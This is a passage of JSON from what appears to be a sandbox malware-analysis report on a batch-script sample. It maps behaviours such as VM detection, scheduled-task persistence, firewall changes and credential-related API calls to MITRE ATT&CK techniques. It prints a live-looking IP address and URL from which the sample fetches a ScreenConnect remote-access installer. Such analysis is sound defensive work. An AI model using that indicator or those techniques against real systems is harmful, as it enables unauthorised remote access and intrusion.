Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Drops a file that contains system information"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"},{"type":"informative","value":"Contains ability to delete users from a group (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]}],"sandbox_signatures":[{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1059.001","id":"yara-36","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-726","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"file/memory contains long string with (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-688","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-779","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"%processor_architecture%\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-557","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$25","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-513","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"file/memory contains long string with (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-663","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-ChildItem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-394","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Select-Object\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-374","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"file/memory contains long string with (Indicator: \"findstr \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1552","id":"string-334","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"sc start\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"tasklist\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"tasklist /fi\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"reg query\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$26","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-517","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$27","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-96","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to create or schedule tasks using domain/system privileges","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-675","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"$28","origin":"sample.bin","mitre_attack_id":"T1547","id":"string-184","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Contains scheduled task related strings","description":"file/memory contains long string with (Indicator: \"schtasks /run\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"schtasks /create\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.005","id":"string-128","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$29","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Test-NetConnection\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Service\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.002","id":"string-332","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to execute windows services","description":"file/memory contains long string with (Indicator: \"net start \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.002","id":"string-521","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-250","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-WmiMethod\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-296","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Able to delete scheduled task(s)","description":"file/memory contains long string with (Indicator: \"schtasks /delete\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1562.001","id":"string-629","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"$2a","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-576","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guest\", Pattern match: \"http://www.screenconnect.com\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; Source: \"sample.bin\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1102.002","id":"string-536","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"suspicious","category":"System Security","name":"Able to modify firewall settings","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1562.004","id":"string-676","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"file/memory contains long string with (Indicator: \"net stop\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-522","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-File\"; Source: \"sample.bin\")","origin":"sample.bin","id":"string-373","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"Found reference string \"NetGroupGetInfo\" (Indicator: \"netgroupgetinfo\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference string \"NetGroupGetUsers\" (Indicator: \"netgroupgetusers\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference string \"NetGroupEnum\" (Indicator: \"netgroupenum\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference string \"NetUserGetGroups\" (Indicator: \"netusergetgroups\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"LsaFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"SamFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"DsRoleFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister service from Service Control Manager","description":"Found string \"DeleteService\" (Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-690","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenService\" (Indicator: \"OpenService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"EnumQueryServicesStatus:OpenService\" (Indicator: \"OpenService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"StartService: OpenService\" (Indicator: \"OpenService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"net1.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"net1.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"where.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00007004.00000000.142431.466CA000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptBinaryToStringW\" (Indicator: \"CryptBinaryToStringW\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found api reference \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinaryW\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00007004.00000000.142431.466CA000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinary: Hex data string to binary conversion\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"CryptStringToBinaryW\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to encrypt/encode message (API string)\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Able to import cryptographic keys (seen in ransomware)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003164-00000C2C-1195265522\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003164-00000C2C-1195265522\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006472)\n \"net1.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007200)\n \"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000008)\n \"sc.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004504)\n \"netsh.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00003164)\n \"netsh.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003164)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006472)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"net1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007200)\n \"sc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004504)\n \"netsh.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003164)\n \"netsh.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$31","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver >> \"%LOG_FILE%\"\" (Indicator: \"ver \") in Source: SSA _Document Viewer.bat\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00006472-00000C47-13741485492\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00006472-00000C47-13741485492\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: 